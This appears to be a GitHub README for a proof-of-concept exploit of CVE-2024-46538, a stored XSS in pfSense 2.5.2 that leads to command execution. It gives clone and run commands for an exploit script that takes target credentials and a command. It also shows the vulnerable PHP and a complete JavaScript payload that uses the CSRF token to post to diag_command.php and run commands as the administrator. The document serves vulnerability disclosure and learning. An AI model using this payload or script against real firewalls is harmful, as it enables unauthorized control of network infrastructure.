This post is a research article published by EQSTLab.

Thanks to physicszq, who discovered this vulnerability.

CVE-2024-46538

★ CVE-2024-46538 PfSense Stored XSS lead to Arbitrary Code Execution PoC ★

https://github.com/user-attachments/assets/f41d0945-b7f4-4f88-bac5-265904256aae

Description

CVE-2024-46538 : PfSense Stored XSS Vulnerability

description: A cross-site scripting (XSS) vulnerability in pfsense v2.5.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the $pconfig variable at interfaces_groups_edit.php.

Lab Setup

Download vulnerable version(v2.5.2):

Setup Virtual Machine

Running on the Oracle Virtual Box

1. Create Virtual Machine

2. Setup Adapter 1,2 like:

3. Setup Boot order like:

4. Follow directions like:

How to use

Git clone

git clone https://github.com/EQSTLab/CVE-2024-46538.git
cd CVE-2024-46538

Install packages

pip install -r requirements.txt

Command

# Store malicious JavaScript payload (No custom js server)
python3 CVE-2024-46538.py -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>
# Store malicious JavaScript payload (Use custom js server)
python3 CVE-2024-46538.py -j <CUSTOM_JAVASCRIPT_SERVER> -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>

Output

CVE-2024-46538.py

Analysis

/src/usr/local/www/interfaces_groups_edit.php

if (isset($_POST['members'])) {
		$members = implode(" ", $_POST['members']);
	} else {
		$members = "";
	}
...
		// Create new group
		} else {
			$ifgroupentry['ifname'] = $_POST['ifname'];
			$a_ifgroups[] = $ifgroupentry;
		}

		write_config("Interface Group added");
		interface_group_setup($ifgroupentry);

		header("Location: interfaces_groups.php");
		exit;
	} else {
		$pconfig['descr'] = $_POST['descr'];
		$pconfig['members'] = $members;
	}
}

Lack of filtering in the $pconfig variable in interfaces_groups_edit.php leads to a cross-site scripting (XSS) vulnerability. The cross-site scripting (XSS) vulnerability allows attackers to leverage the diag_command.php endpoint to execute arbitrary commands against an administrator. For example, Following JavaScript Can lead to Arbitrary Code execution.

mal.js

var formData = new FormData();formData.append("__csrf_magic", csrfMagicToken);formData.append("txtCommand", "id");formData.append("txtRecallBuffer", "id");formData.append("submit", "EXEC");formData.append("dlPath", "");formData.append("ulfile", new Blob(), "");formData.append("txtPHPCommand", "");fetch("https://192.168.102.61/diag_command.php", {method: "POST",body: formData}).then(response => response.text()).then(data => {const parser = new DOMParser();const doc = parser.parseFromString(data, "text/html");const contentDiv = doc.querySelector("div.content");if (contentDiv) {alert(contentDiv.textContent);} else {alert("No content found");}})

Scenario

User (Has Privilege: WebCfg - Interfaces: Groups: Edit) --(Store Malicious JavaScript Code)--> Admin (Has Privilege to execute code) --(Read interfaces_groups.php)--> JavaScript Code Execute --> Code Execution

Disclaimer

This repository is not intended to be XSS exploit to CVE-2024-46538. The purpose of this project is to help people learn about this vulnerability, and perhaps test their own applications.

References

https://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md

https://skshieldus.com/eng/business/insight.do#